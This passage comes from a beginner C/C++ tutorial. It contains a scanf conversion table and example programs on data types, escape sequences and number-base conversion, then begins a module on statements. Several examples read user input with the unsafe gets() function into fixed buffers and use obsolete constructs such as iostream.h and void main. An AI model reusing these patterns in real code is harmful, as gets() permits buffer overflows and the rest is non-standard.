- The following table is a list of ANSI C formatted input conversion of the scanf() function.

Character Input Data Argument Type


char *. The next input characters are placed in the
indicated array, up to the number given by the width
field; 1 is the default. No ‘\0’ is added. The normal
c Characters.
skip over white space characters is suppressed in this
case; use %1s to read the next non-white space
character.
d Decimal integer. int *
int *. The integer may be in octal (with leading 0)
i Integer.
or hexadecimal (with leading 0x or 0X).
Writes into the argument
int *. No input is read. The converted item count is
n the number of characters
not incremented.
read so far by this call.
Octal integer, with or
o int *.
without leading zero.
Pointer value as printed by
p void *.
printf("%p").
char *. Pointing to an array of characters large
String of non-white space
s enough to hold the string and a terminating ‘\0’ that
characters, not quoted.
will be appended.
u Unsigned decimal integer. unsigned int *
Hexadecimal integer, with
x or without leading 0x or int *.
0X.
float *. The input format for float’s is an optional
e, f, g sign, a string of numbers possibly containing a decimal
Floating-point number.
point, and an optional exponent field containing an E
or e followed by a possibly signed integer.
Matches the longest non-
empty string of input char *. A ‘\0’ is appended. []…] will include ]
[…]
characters from the set in the set.
between brackets.
Matches the longest non-
empty string of input char *. A ‘\0’ is appended. [^]…] will include ]
[^…]
characters not from the set in the set.
between brackets.
% Literal %. No assignment is made.

Table 2.11: scanf() formatted input conversion

Program Examples and Experiments

Example #1

//Data types program example


#include <iostream.h>
#include <stdlib.h>

int main() //main( ) function


{

www.tenouk.com Page 9 of 29
int a = 3000; //positive integer data type
float b = 4.5345; //float data type
char c = 'A'; //char data type
long d = 31456; //long positive integer data type
long e = -31456; //long -ve integer data type
int f = -145; //-ve integer data type
short g = 120; //short +ve integer data type
short h = -120; //short -ve integer data type
double i = 5.1234567890; //double float data type
float j = -3.24; //float data type

cout<<"Welcome Ladies and Gentlemen!!\n";


cout<<"Here are the list of the C/C++ data type\n";
cout<<"\n1. This is positive integer number (int):\t\t"<<a;
cout<<"\n2. This is positive float number (float):\t\t"<<b;
cout<<"\n3. This is negative float number(float):\t\t"<<j;
cout<<"\n4. This is character data (char):\t\t\t"<<c;
cout<<"\n5. This is long positive integer number(long):\t\t"<<d;
cout<<"\n6. This is long negative integer number(long):\t\t"<<e;
cout<<"\n7. This is negative integer number(int):\t\t"<<f;
cout<<"\n8. This is short positive integer number(short):\t"<<g;
cout<<"\n9. This is short negative integer number(short):\t"<<h;
cout<<"\n10. This is double positive float number(double):\t"<<i;
cout<<"\n11.\'This is lateral string\'";
cout<<"\n\t---do you understand?----\n ";
system("pause");
return 0;
}

Output:

Example #2

//Another data type program example


#include <iostream.h>
#include <stdlib.h>

void main() //main( ) function


{
int p = 2000; //positive integer data type
short int q = -120; //variation
unsigned short int r = 121; //variation
float s = 21.566578; //float data type
char t = 'r'; //char data type
long u = 5678; //long positive integer data type
unsigned long v = 5678; //variation
long w = -5678; //-ve long integer data type
int x = -171; //-ve integer data type
short y = -71; //short -ve integer data type
unsigned short z = 99; //variation
double a = 88.12345; //double float data type
float b = -3.245823; //float data type

cout<<"\t--Data type again--\n";


cout<<"\t-------------------\n";
cout<<"\n1. \"int\" sample: \t\t"<<p;

www.tenouk.com Page 10 of 29
cout<<"\n2. \"short\" int sample: \t"<<q;
cout<<"\n3. \"unsigned short int\" sample: "<<r;
cout<<"\n4. \"float\" sample: \t\t"<<s;
cout<<"\n5. \"char\" sample: \t\t"<<t;
cout<<"\n6. \"long\" sample: \t\t"<<u;
cout<<"\n7. \"unsigned long\" sample: \t"<<v;
cout<<"\n8. negative \"long\" sample: \t"<<w;
cout<<"\n9. negative \"int\" sample: \t"<<x;
cout<<"\n10. negative \"short\" sample: \t"<<y;
cout<<"\n11. unsigned \"short\" sample: \t"<<z;
cout<<"\n12. \"double\" sample: \t\t"<<a;
cout<<"\n13. negative \"float\" sample: \t"<<b<<endl;
system("pause");
}

Output:

Example#3

//Program to calculate the circumference and area of circle


#include <iostream.h>
#include <stdlib.h>
//define identifier PI with constant
#define PI 3.14159
//define identifier TWO with constant
#define TWO 2.0

int main( )
{
float area, circumference, radius;

cout<<"\nEnter the radius of the circle in meter: ";


cin>>radius;

area = PI * radius * radius;


//circle area = PI*radius*radius

circumference = TWO * PI * radius;


//circumference = 2*PI*radius
cout<<"\nCircumference = "<<circumference<<" meter";
//circle circumference
cout<<"\nCircle area = "<<area<<" square meter"<<endl;
//circle area
system("pause");
return 0;
}

Output:

www.tenouk.com Page 11 of 29
Example #4

//Using cout from iostream.h header file


#include <iostream.h>
#include <stdlib.h>

int main()
{
cout<<"Hello there.\n";
cout<<"Here is 7: "<<7<<"\n";
//other than escape sequence \n used for new line, endl...
cout<<"\nThe manipulator endl writes a new line to the screen.\n"<<endl;
cout<<"Here is a very big number:\t" << 10000 << endl;
cout<<"Here is the sum of 10 and 5:\t" << (10+5) << endl;
cout<<"Here's a fraction number:\t" << (float) 7/12 << endl;
//simple type casting, from int to float
cout<<"And a very very big number:\t" << (double) 7000 * 7000<< endl;
//another type casting, from int to double
cout<<"\nDon't forget to replace existing words with yours...\n";
cout<<"I want to be a programmer!\n";
system("pause");
return 0;
}

Output:

Example #5

//Comment in C/C++, using /* */ or //


//the // only for C++ compiler
#include <iostream.h>
#include <stdlib.h>

int main()
{
/* this is a comment
and it extends until the closing
star-slash comment mark */
cout<<"Hello World! How are you?\n";
//this comment ends at the end of the line
//so, new comment line need new double forward slash
cout<<"That is the comment in C/C++ program!\n";
cout<<"They are ignored by compiler!\n";
//double slash comments can be alone on a line
/* so can slash-star comments */
/********************************/
system("pause");
return 0;

www.tenouk.com Page 12 of 29
}

Output:

Example #6

//By using predefined sizeof() function,


//displaying the data type size, 1 byte = 8 bits
#include <iostream.h>
#include <stdlib.h>

int main()
{
cout<<"The size of an int is:\t\t"<<sizeof(int)<<" bytes.\n";
cout<<"The size of a short int is:\t"<<sizeof(short)<<" bytes.\n";
cout<<"The size of a long int is:\t"<<sizeof(long)<<" bytes.\n";
cout<<"The size of a char is:\t\t"<<sizeof(char)<<" bytes.\n";
cout<<"The size of a float is:\t\t"<<sizeof(float)<<" bytes.\n";
cout<<"The size of a double is:\t"<<sizeof(double)<<" bytes.\n";
cout<<"The size of a bool is:\t\t"<<sizeof(bool)<<" bytes.\n";
system("pause");
return 0;
}

Output:

Example #7

//Demonstration the use of variables


#include <iostream.h>
#include <stdlib.h>

int main()
{
unsigned short int Width = 7, Length;
Length = 10;

//create an unsigned short and initialize with result


//of multiplying Width by Length
unsigned short int Area = Width * Length;

cout<<"Width:\t"<<Width<<"\n";
cout<<"Length: "<<Length<<endl;
cout<<"Area: \t"<<Area<<endl;
system("pause");
return 0;
}

Output:

www.tenouk.com Page 13 of 29
Example #8

//To calculate the total amount of money earned in n days


#include <iostream.h>
#include <stdlib.h>

int main( )
{
int n;
int total, rate= 20;

cout<<"Enter number of days worked: ";


cin>>n;
total = n * rate;
cout<<"\n----------------------------";
cout<<"\n| For rate RM20 per day |";
cout<<"\n----------------------------";
cout<<"\n";
cout<<"\nFor "<<n<<" days of work, you have earned $ ";
cout<<total<<endl;
system("pause");
return 0;
}

Output:

Example #9

//Printing characters base on their


//respective integer numbers
#include <iostream.h>
#include <stdlib.h>

int main()
{
cout<<"For integer number from 32 till 127,\n";
cout<<"their representation for\n";
cout<<"characters is shown below\n\n";
cout<<"integer character\n";
cout<<"-------------------\n";
for (int i = 32; i<128; i++)
//display up to 127...
cout<<i<<" "<<(char) i<<"\n";
//simple typecasting, from int to char
system("pause");
return 0;
}

Output:

www.tenouk.com Page 14 of 29
- Boolean, bool is a lateral true or false. Use bool and the literals false and true to make Boolean logic
tests.
- The bool keyword represents a type that can take only the value false or true. The keywords false and
true are Boolean literals with predefined values. false is numerically zero and true is numerically one.
These Boolean literals are rvalues (right value); you cannot make an assignment to them.
- Program example:

/*Sample Boolean tests with bool, true, and false.*/


#include <iostream.h>
#include <stdlib.h>

//non main function


bool func()
{
//Function returns a bool type
return NULL;
//NULL is converted to Boolean false, same
//as statement 'return false;'
}

int main()
{
bool val = false; // Boolean variable
int i = 1; // i is neither Boolean-true nor Boolean-false
int g = 5;
float j = 3.02; // j is neither Boolean-true nor Boolean-false

cout<<"Given the test value: "<<endl;


cout<<"bool val = false "<<endl;
cout<<"int i = 1 "<<endl;
cout<<"int g = 5 "<<endl;
cout<<"float j = 3.02 "<<endl;
cout<<"\nTESTING\n";

//Tests on integers
if(i == true)
cout<<"True: value i is 1"<<endl;
if(i == false)
cout<<"False: value i is 0"<<endl;

if(g)
cout << "g is true."<<endl;
else
cout << "g is false."<<endl;

//To test j's truth value, cast it to bool type.


if(bool(j) == true)
cout<<"Boolean j is true."<<endl;

//Test Boolean function returns value

www.tenouk.com Page 15 of 29
val = func();
if(val == false)
cout<<"func() returned false."<<endl;
if(val == true)
cout<<"func() returned true."<<endl;
system("pause");
return false;
//false is converted to 0
}

Output:

Example #10

//Testing the escape sequences


#include <stdio.h>
#include <stdlib.h>

int main()
{

printf("Testing the escape sequences:\n");


printf("-----------------------------\n");

printf("The audible bell --->\'\\a\' \a\a\a\n");


printf("The backspace --->\'\\b\' \bTesting\n");
printf("The formfeed, printer --->\'\\f\' \fTest\n");
printf("The newline --->\'\\n\' \n\n");
printf("The carriage return --->\'\\r\' \rTesting\n");
printf("The horizontal tab --->\'\\t\' \tTesting\t\n");
printf("The vertical tab --->\'\v\' \vTesting\n");
printf("The backslash --->\'\\\\' \\Testing\\\n");
printf("The single quote --->\'\'\' \'Testing\'\'\'\n");
printf("The double quote --->\'\"\' \"Testing\"\"\n");
printf("The question mark --->\'\?\' \?Testing\?\n");
printf("Some might not working isn't it?\n");
system("pause");
return 0;
}

Output:

www.tenouk.com Page 16 of 29
Example #11

#include <stdio.h>
#include <stdlib.h>

int main()
{
int num;

printf("Conversion...\n");
printf("Start with any character and\n");
printf("Press Enter, EOF to stop\n");
num = getchar();
printf("Character Integer Hexadecimal Octal\n");
while(getchar() != EOF)
{
printf(" %c %d %x %o\n",num,num,num,num);
++num;
}

system("pause");
return 0;
}

Output:

Example #12

#include <stdio.h>
#include <stdlib.h>

/*convert decimal to binary function*/

www.tenouk.com Page 17 of 29
void dectobin();

int main()
{
char chs = 'Y';
do
{
dectobin();
printf("Again? Y, others to exit: ");
chs = getchar();
scanf("%c", &chs);
}while ((chs == 'Y') || (chs == 'y'));
return 0;
}

void dectobin()
{
int input;
printf("Enter decimal number: ");
scanf("%d", &input);
if (input < 0)
printf("Enter unsigned decimal!\n");

/*for the mod result*/


int i;
/*count the binary digits*/
int count = 0;
/*storage*/
int binbuff[64];
do
{
/* Modulus 2 to get the remainder of 1 or 0*/
i = input%2;
/* store the element into the array */
binbuff[count] = i;
/* Divide the input by 2 for binary decrement*/
input = input/2;
/* Count the number of binary digit*/
count++;
/*repeat*/
}while (input > 0);
/*prints the binary digits*/
printf ("The binary representation is: ");
do
{
printf("%d", binbuff[count - 1]);
count--;
if(count == 8)
printf(" ");
} while (count > 0);
printf ("\n");
}

Output:

Example #13

#include <stdio.h>
#include <stdlib.h>
/*for strlen*/
#include <string.h>

www.tenouk.com Page 18 of 29
/*convert bin to decimal*/
void bintodec()
{
char buffbin[100];
char *bin;
int i=0;
int dec = 0;
int bcount;

printf("Please enter the binary digits, 0 or/and 1.\n");


printf("Your binary digits: ");
bin = gets(buffbin);

i=strlen(bin);
for (bcount=0; bcount<i; ++bcount)
/*if bin[bcount] is equal to 1, then 1 else 0 */
dec=dec*2+(bin[bcount]=='1'? 1:0);
printf("\n");
printf("The decimal value of %s is %d\n", bin, dec);
}

int main(void)
{
bintodec();
return 0;
}

Output:

Example #14

/*Playing with binary, decimal, hexadecimal


and octal conversion*/
#include <stdio.h>
#include <stdlib.h>
/*strlen*/
#include <string.h>

/*octal conversion function*/


void octal(char *octa, int *octares);
/*hexadecimal conversion function */
void hexadecimal(char *hexa, int *hexares);
/*decimal conversion function */
void decimal(char *deci, int *decires);

/*convert binary to decimal*/


void bintodec(void);
/* convert decimal to binary*/
void decnumtobin (int *dec);
int main()
{
/* Yes or No value to continue with program */
char go;
/* Yes or No value to proceed to Binary to Decimal function */
char binY;

char choice1;
char choice2;
/* numtest, value to test with, and pass to functions*/
int numtest;
/* value to convert to binary, and call decnumtobin function*/
int bintest;

int flag;
flag = 0;
go = 'y';

www.tenouk.com Page 19 of 29
do
{
printf("Enter the base of ur input(d=dec, h=hex, o=octal): ");
scanf("%c", &choice1);
getchar();
printf("\n");
printf("The entered Number: ");
/*If decimal number*/
if ((choice1 == 'd') || (choice1 == 'D'))
{
scanf("%d", &numtest);
getchar();
}
/*If hexadecimal number*/
else if ((choice1 == 'h') || (choice1 == 'H'))
{
scanf("%x", &numtest);
getchar();
}
/*If octal number*/
else if ((choice1 == 'o') || (choice1 == 'O'))
{
scanf("%o", &numtest);
getchar();
}
/*If no match*/
else
{
flag = 1;
printf("Only d, h or o options!\n");
printf("Program exit...\n");
exit(0);
}

/*Firstly convert the input 'number' to binary*/


bintest = numtest;
decnumtobin(&bintest);

/*output the hex, decimal or octal*/


printf("\n");
printf("Next, enter the base of ur output (d=dec, h=hex, o=octal):
");
scanf("%c", &choice2);
getchar();
/*If decimal number*/
if ((choice2 == 'd') || (choice2 == 'D'))
decimal (&choice1, &numtest);
/*If hexadecimal number*/
else if ((choice2 == 'h') || (choice2 == 'H'))
hexadecimal (&choice1, &numtest);
/*If octal number*/
else if ((choice2 == 'o') || (choice2 == 'O'))
octal (&choice1, &numtest);
/*if nothing matched*/
else
{
flag = 1;
system("cls");
printf("Only d, h or o options!");
printf("\nProgram exit...");
exit(0);
}

printf("\n\nAn OPTION\n");
printf("=========\n");
printf("Do you wish to do the binary to decimal conversion?");
printf("\n Y for Yes, and N for no : ");
scanf("%c", &binY);
getchar();
/*If Yes...*/
if ((binY == 'Y') || (binY == 'y'))
/*Do the binary to decimal conversion*/
bintodec();
/*If not, just exit*/
else if ((binY != 'y') || (binY != 'Y'))
{
flag = 1;
printf("\nProgram exit...\n");
exit(0);
}

www.tenouk.com Page 20 of 29
printf("\n\n");
printf("The program is ready to exit...\n");
printf("Start again? (Y for Yes) : ");
scanf("%c", &go);
getchar();
/*initialize to NULL*/
numtest = '\0';
choice1 = '\0';
choice2 = '\0';
}
while ((go == 'y') || (go == 'Y'));
printf("-----FINISH-----\n");
return 0;
}

/*===================================================*/
void decimal(char *deci, int *decires)
{
int ans = *decires;
char ch = *deci;
if ((ch == 'd') || (ch == 'D'))
printf("\nThe number \"%d\" in decimal is equivalent to \"%d\" in
decimal.\n", ans, ans);
else if ((ch == 'h') || (ch == 'H'))
printf("\nThe number \"%X\" in hex is equivalent to \"%d\" in
decimal.\n", ans, ans);
else if ((ch == 'o') || (ch == 'O'))
printf("\nThe number \"%o\" in octal is equivalent to \"%d\" in
decimal.\n", ans, ans);
}

/*======================================================*/
void hexadecimal(char *hexa, int *hexares)
{
int ans = *hexares;
char ch = *hexa;
if ((ch == 'd') || (ch == 'D'))
printf("\nThe number \"%d\" in decimal is equivalent to \"%X\" in
hexadecimal.\n", ans, ans);
else if ((ch == 'h') || (ch == 'H'))
printf("\nThe number \"%X\" in hex is equivalent to \"%X\" in
hexadecimal.\n", ans, ans);
else if ((ch == 'o') || (ch == 'O'))
printf("\nThe number \"%o\" in octal is equivalent to \"%X\" in
hexadecimal.\n", ans, ans);
}

/*========================================================*/
void octal(char *octa, int *octares)
{
int ans = *octares;
char ch = *octa;
if ((ch == 'd') || (ch == 'D'))
printf ("\nThe number \"%d\" in decimal is equivalent to \"%o\" in
octal.\n", ans, ans);
else if ((ch == 'h') || (ch == 'H'))
printf("\nThe number \"%X\" in hex is equivalent to \"%o\" in
octal. \n", ans, ans);
else if ((ch == 'o') || (ch == 'O'))
printf("\nThe number \"%o\" in octal is equivalent to \"%o\" in
octal.\n", ans, ans);
}

void bintodec(void)
{
char buffbin[1024];
char *binary;
int i=0;
int dec = 0;
int z;
printf("Please enter the binary digits, 0 or 1.\n");
printf("Your binary digits: ");
binary = gets(buffbin);

i=strlen(binary);
for(z=0; z<i; ++z)
/*if Binary[z] is equal to 1, then 1 else 0 */
dec=dec*2+(binary[z]=='1'? 1:0);
printf("\n");

www.tenouk.com Page 21 of 29
printf("The decimal value of %s is %d", binary, dec);
printf("\n");
}

void decnumtobin (int *dec)


{
int input = *dec;
int i;
int count = 0;
int binary[64];
do
{
/* Modulus 2 to get 1 or a 0*/
i = input%2;
/* Load Elements into the Binary Array */
binary[count] = i;
/* Divide input by 2 for binary decrement */
input = input/2;
/* Count the binary digits*/
count++;
}while (input > 0);

/* Reverse and output binary digits */


printf ("The binary representation is: ");
do
{
printf ("%d", binary[count - 1]);
count--;
} while (count > 0);
printf ("\n");
}

Output:

Example #15

/*Playing with binary, decimal, hexadecimal


and octal conversion*/
#include <stdio.h>
#include <stdlib.h>
/*strlen*/
#include <string.h>

/*decimal conversion function */


void decimal(char *deci, int *decires);

/* convert decimal to binary*/


void decnumtobin (int *dec);
int main()

www.tenouk.com Page 22 of 29
{
/* Yes or No value to continue with program */
char go;

char choice1;
char choice2;
/*numtest, value to test with, and pass to functions*/
int numtest;
/*value to convert to binary, and call decnumtobin function*/
int bintest;

int flag;
flag = 0;
go = 'y';
do
{
printf ("Enter the h for hex input: ");
scanf("%c", &choice1);
getchar();
printf ("\n");
printf ("Enter your hex number lor!: ");

/*If hexadecimal number*/


if ((choice1 == 'h') || (choice1 == 'H'))
{
scanf ("%x", &numtest);
getchar();
}
else
{
flag = 1;
printf ("Only h!\n");
printf("Program exit...\n");
exit(0);
}

/*Firstly convert the input 'number' to binary*/


bintest = numtest;
decnumtobin(&bintest);

/*output the hex, decimal or octal*/


printf ("\n");
printf ("Enter the d for decimal output: ");
scanf ("%c", &choice2);
getchar();
/*If decimal number*/
if ((choice2 == 'd') || (choice2 == 'D'))
decimal(&choice1, &numtest);
/*else...*/
else
{
flag = 1;
printf("Only d!");
printf("\nProgram exit...");
exit(0);
}

printf ("\n\n");
printf ("The program is ready to exit...\n");
printf ("Start again? (Y for Yes) : ");
scanf ("%c", &go);
getchar();
/*initialize to NULL*/
numtest = '\0';
choice1 = '\0';
choice2 = '\0';
}
while ((go == 'y') || (go == 'Y'));
printf ("-----FINISH-----\n");
return 0;
}

/*===================================================*/
void decimal(char *deci, int *decires)
{
int ans = *decires;
char ch = *deci;

if ((ch == 'h') || (ch == 'H'))

www.tenouk.com Page 23 of 29
printf ("\nThe number \"%X\" in hex is equivalent to \"%d\" in
decimal.\n", ans, ans);
}

void decnumtobin (int *dec)


{
int input = *dec;
int i;
int count = 0;
int binary[128];
do
{
/* Modulus 2 to get 1 or a 0*/
i = input%2;
/* Load Elements into the Binary Array */
binary[count] = i;
/* Divide input by 2 for binary decrement */
input = input/2;
/* Count the binary digits*/
count++;
}while (input > 0);

/* Reverse and output binary digits */


printf ("The binary representation is: ");
do
{
printf ("%d", binary[count - 1]);
count--;
if(count == 4)
printf(" ");
} while (count > 0);
printf ("\n");
}

Output:

Example #16

/*Playing with hexadecimal and ascii*/


#include <stdio.h>
#include <stdlib.h>
/*strlen*/
#include <string.h>

/*decimal conversion function */


void decimal(int *decires);
/*convert decimal to binary*/
void decnumtobin (int *dec);

int main()
{
/*Program continuation...*/
char go;

/* numtest, value to test with, and pass to functions*/


int numtest;
/* value to convert to binary, and call decnumtobin function*/
int bintest;
int flag = 0;

www.tenouk.com Page 24 of 29
go = 'y';
do
{
printf("Playing with hex and ASCII\n");
printf("==========================\n");
printf("For hex, 0(0) - 1F(32) are non printable/control
characters!\n");
printf("For hex > 7F(127) they are extended ASCII characters that
are\n");
printf("platform dependent!\n\n");
printf("Enter the hex input: ");
scanf("%x", &numtest);
getchar();

/*Firstly convert the input 'number' to binary*/


bintest = numtest;
decnumtobin(&bintest);

decimal (&numtest);
printf("\nStart again? (Y for Yes) : ");
scanf ("%c", &go);
getchar();
/*initialize to NULL*/
numtest = '\0';
}
while ((go == 'y') || (go == 'Y'));
printf("-----FINISH-----\n");
return 0;
}

/*===================================================*/
void decimal(int *decires)
{
int ans = *decires;
/*If < decimal 32...*/
if(ans < 32)
{
printf("hex < 20(32) equivalent to non printable/control ascii
characters\n");
switch(ans)
{
case 0:{printf("hex 0 is NULL ascii");}break;
case 1:{printf("hex 1 is SOH-start of heading ascii");}break;
case 2:{printf("hex 2 is STX-start of text ascii");}break;
case 3:{printf("hex 3 is ETX-end of text ascii");}break;
case 4:{printf("hex 4 is EOT-end of transmission ascii");}break;
case 5:{printf("hex 5 is ENQ-enquiry ascii");}break;
case 6:{printf("hex 6 is ACK-acknowledge ascii");}break;
case 7:{printf("hex 7 is BEL-bell ascii");}break;
case 8:{printf("hex 8 is BS-backspace ascii");}break;
case 9:{printf("hex 9 is TAB-horizontal tab ascii");}break;
case 10:{printf("hex A is LF-NL line feed, new line ascii");}break;
case 11:{printf("hex B is VT-vertical tab ascii");}break;
case 12:{printf("hex C is FF-NP form feed, new page ascii");}break;
case 13:{printf("hex D is CR-carriage return ascii");}break;
case 14:{printf("hex E is SO-shift out ascii");}break;
case 15:{printf("hex F is SI-shift in ascii");}break;
case 16:{printf("hex 10 is DLE-data link escape ascii");}break;
case 17:{printf("hex 11 is DC1-device control 1 ascii");}break;
case 18:{printf("hex 12 is DC2-device control 2 ascii");}break;
case 19:{printf("hex 13 is DC3-device control 3 ascii");}break;
case 20:{printf("hex 14 is DC4-device control 4 ascii");}break;
case 21:{printf("hex 15 is NAK-negative acknowledge ascii");}break;
case 22:{printf("hex 16 is SYN-synchronous idle ascii");}break;
case 23:{printf("hex 17 is ETB-end of trans. block ascii");}break;
case 24:{printf("hex 18 is CAN-cancel ascii");}break;
case 25:{printf("hex 19 is EM-end of medium ascii");}break;
case 26:{printf("hex 1A is SUB-substitute ascii");}break;
case 27:{printf("hex 1B is ESC-escape ascii");}break;
case 28:{printf("hex 1C is FS-file separator ascii");}break;
case 29:{printf("hex 1D is GS-group separator ascii");}break;
case 30:{printf("hex 1E is RS-record separator ascii");}break;
case 31:{printf("hex 1F is US-unit separator ascii");}break;
}
}
else
printf ("\nThe number \"%X\" in hex is equivalent to \"%c\" ascii
character.\n", ans, ans);
}

www.tenouk.com Page 25 of 29
void decnumtobin (int *dec)
{
int input = *dec;
int i;
int count = 0;
int binary[128];
do
{
/* Modulus 2 to get 1 or a 0*/
i = input%2;
/* Load Elements into the Binary Array */
binary[count] = i;
/* Divide input by 2 for binary decrement */
input = input/2;
/* Count the binary digits*/
count++;
}while (input > 0);

/* Reverse and output binary digits */


printf("The binary representation is: ");
do
{
printf("%d", binary[count - 1]);
count--;
if(count == 4)
printf(" ");
} while (count > 0);
printf("\n");
}

Output:

Example #17

- Program example compiled using VC++/VC++ .Net.

//Using C code and header in C++...


#include <cstdio>

int main()
{
int num;

printf("Conversion...\n");
printf("Start with any character and\n");
printf("Press Enter, EOF to stop\n");
num = getchar();

www.tenouk.com Page 26 of 29
printf("Character Integer Hexadecimal Octal\n");
while(getchar() != EOF)
{
printf(" %c %d %x %o\n", num, num, num, num);
++num;
}
return 0;
}

Output:

- Program examples compiled using gcc.

/*Another data type program example*/


#include <stdio.h>

/*main function*/
int main()
{
int p = 2000; /*positive integer data type*/
short int q = -120; /*variation*/
unsigned short int r = 121; /*variation*/
float s = 21.566578; /*float data type*/
char t = 'r'; /*char data type*/
long u = 5678; /*long positive integer data type*/
unsigned long v = 5678; /*variation*/
long w = -5678; /*-ve long integer data type*/
int x = -171; /*-ve integer data type*/
short y = -71; /*short -ve integer data type*/
unsigned short z = 99; /*variation*/
double a = 88.12345; /*double float data type*/
float b = -3.245823; /*float data type*/

printf("\t--Data type again--\n");


printf("\t-------------------\n");
printf("\n1. \"int\" sample: \t\t %d, the data size: %d bytes", p, sizeof(p));
printf("\n2. \"short\" int sample: \t %d, the data size: %d bytes", q, sizeof(q));
printf("\n3. \"unsigned short int\" sample: %d, the data size: %d bytes", r, sizeof(r));
printf("\n4. \"float\" sample: \t\t %.7f, the data size: %d bytes", s, sizeof(s));
printf("\n5. \"char\" sample: \t\t %c, the data size: %d byte", t, sizeof(t));
printf("\n6. \"long\" sample: \t\t %d, the data size: %d bytes", u, sizeof(u));
printf("\n7. \"unsigned long\" sample: \t %d, the data size: %d bytes", v, sizeof(v));
printf("\n8. negative \"long\" sample: \t %d, the data size: %d bytes", w, sizeof(w));
printf("\n9. negative \"int\" sample: \t %d, the data size: %d bytes", x, sizeof(x));
printf("\n10. negative \"short\" sample: \t %d, the data size: %d bytes", y, sizeof(y));
printf("\n11. unsigned \"short\" sample: \t %d, the data size: %d bytes", z, sizeof(z));
printf("\n12. \"double\" sample: \t\t %.4f, the data size: %d bytes", a, sizeof(a));
printf("\n13. negative \"float\" sample: \t %.5f, the data size: %d bytes\n", b,
sizeof(b));
return 0;
}

www.tenouk.com Page 27 of 29
[bodo@bakawali ~]$ gcc datatype.c -o datatype
[bodo@bakawali ~]$ ./datatype

--Data type again--


-------------------

1. "int" sample: 2000, the data size: 4 bytes


2. "short" int sample: -120, the data size: 2 bytes
3. "unsigned short int" sample: 121, the data size: 2 bytes
4. "float" sample: 21.5665779, the data size: 4 bytes
5. "char" sample: r, the data size: 1 byte
6. "long" sample: 5678, the data size: 4 bytes
7. "unsigned long" sample: 5678, the data size: 4 bytes
8. negative "long" sample: -5678, the data size: 4 bytes
9. negative "int" sample: -171, the data size: 4 bytes
10. negative "short" sample: -71, the data size: 2 bytes
11. unsigned "short" sample: 99, the data size: 2 bytes
12. "double" sample: 88.1235, the data size: 8 bytes
13. negative "float" sample: -3.24582, the data size: 4 bytes

#include <stdio.h>
#include <stdlib.h>

/*convert decimal to binary function*/


void dectobin();

int main()
{
char chs = 'Y';
do
{
dectobin();
printf("Again? Y, others to exit: ");
chs = getchar();
scanf("%c", &chs);
}while ((chs == 'Y') || (chs == 'y'));
return 0;
}

void dectobin()
{
int input;
printf("Enter decimal number: ");
scanf("%d", &input);
if (input < 0)
printf("Enter unsigned decimal!\n");

/*for the mod result*/


int i;
/*count the binary digits*/
int count = 0;
/*storage*/
int binbuff[64];
do
{
/* Modulus 2 to get the remainder of 1 or 0*/
i = input%2;
/* store the element into the array */
binbuff[count] = i;
/* Divide the input by 2 for binary decrement*/
input = input/2;
/* Count the number of binary digit*/
count++;
/*repeat*/
}while (input > 0);
/*prints the binary digits*/
printf("The binary representation is: ");
do
{
printf("%d", binbuff[count - 1]);
count--;
if(count == 8)
printf(" ");
} while (count > 0);
printf ("\n");
}

www.tenouk.com Page 28 of 29
[bodo@bakawali ~]$ gcc binary.c -o binary
[bodo@bakawali ~]$ ./binary

Enter decimal number: 64


The binary representation is: 1000000
Again? Y, others to exit: Y
Enter decimal number: 128
The binary representation is: 10000000
Again? Y, others to exit: Y
Enter decimal number: 32
The binary representation is: 100000
Again? Y, others to exit: Y
Enter decimal number: 100
The binary representation is: 1100100
Again? Y, others to exit: N
[bodo@bakawali ~]$ cat binary.c

----------------------------------------------------o0o---------------------------------------------------

Further reading and digging:

1. The ASCII, EBCDIC and UNICODE character sets reference Table can be found here: Character sets
Table.
2. Check the best selling C / C++ books at Amazon.com.

www.tenouk.com Page 29 of 29
MODULE 3
STATEMENTS, EXPRESSIONS
AND OPERATORS

My Training Period: hours

Abilities

Able to understand and use:

▪ Statements.
▪ Expressions.
▪ Operators.
▪ The Unary Mathematical Operators.
▪ The Binary Mathematical Operators.
▪ Precedence and Parentheses.
▪ Relational Operator.
▪ Expression and if Statement.
▪ Relational Expressions.
▪ Precedence of Relational Operators.
▪ Logical Operators.
▪ True and False Values.
▪ Precedence of Logical Operators.
▪ Compound Assignment Operators.
▪ The Conditional Operator (Ternary).
▪ The Bitwise operators.
▪ The Comma Operator.

3.1 Statements

- A statement is a complete instruction asking the computer to carry out some tasks.
- Normally written one per line, although some statements span multiple lines.
- Always end with a semicolon ( ; ), except for preprocessor directive such as #define and #include.
- For example:

←←←
Evaluation direction
x = 2 + 3;

- This statement instructs the computer to add 2 to 3 and assign the result to the variable x.
- C/C++ compiler is not sensitive to white spaces such as spaces, tabs and blank lines in the source code,
within the statements.
- Compiler read a statement in the source code it looks for the characters and for the terminating semicolon
and ignores the white space. For example, three of the following examples are same.

x = 2 + 3; or

x=2+3; or

x =
2
+
3;

- You can try compiling the following program example; the ‘not so readable’ codes, then see whether it is
valid or not.

//Demonstrate unary operators prefix and postfix modes


#include <stdlib.h>
#include <stdio.h>
#include <iostream.h>
int main(){int a, b; a = b = 5; printf("postfix mode and prefix mode example\n");
printf("initial value, a = b = 5\n"); printf("\npostfix mode, a-- = %d prefix mode, --b
= %d", a--, --b);
//Some comment here

www.tenouk.com Page 1 of 28
printf("\npostfix mode, a-- = %d prefix mode, --b = %d", a--, --b);printf("\npostfix
mode, a-- = %d prefix mode, --b = %d", a--, --b);printf("\npostfix mode, a-- = %d
prefix mode, --b = %d", a--, --b);printf("\npostfix mode, a-- = %d prefix mode, --b =
%d", a--, --b);printf("\n");system("pause");return 0;}

- Or something like this:

//Demonstrate unary operators prefix and postfix modes


#include <stdlib.h>
#include <stdio.h>
#include <iostream.h>
int main(){int a, b; a = b = 5; printf("postfix mode and prefix mode example\n");
printf("initial value, a = b = 5\n"); printf("\npostfix mode, a-- = %d prefix mode, --b
= %d", a--, --b);/*Another comment here*/
//Some comment here
printf("\npostfix mode, a-- = %d prefix mode, --b = %d", a--, --b); /*Another comment
here*/printf("\npostfix mode, a-- = %d prefix mode, --b = %d", a--, --b);printf("\npostfix mode,
a-- = %d prefix mode, --b = %d", a--, --b);printf("\npostfix mode, a-- = %d prefix mode, --b =
%d", a--, --b);printf("\n");system("pause");return 0;}

Output:

- The most important thing here is the semicolon that defines a statement and codes such as preprocessor
directive and comments that cannot be in the same line with other codes. See also how the white spaces
have been ignored and how the compiler read the codes.
- But there is an exception: For Literal string constants, white space such as tabs and spaces are
considered part of the string.
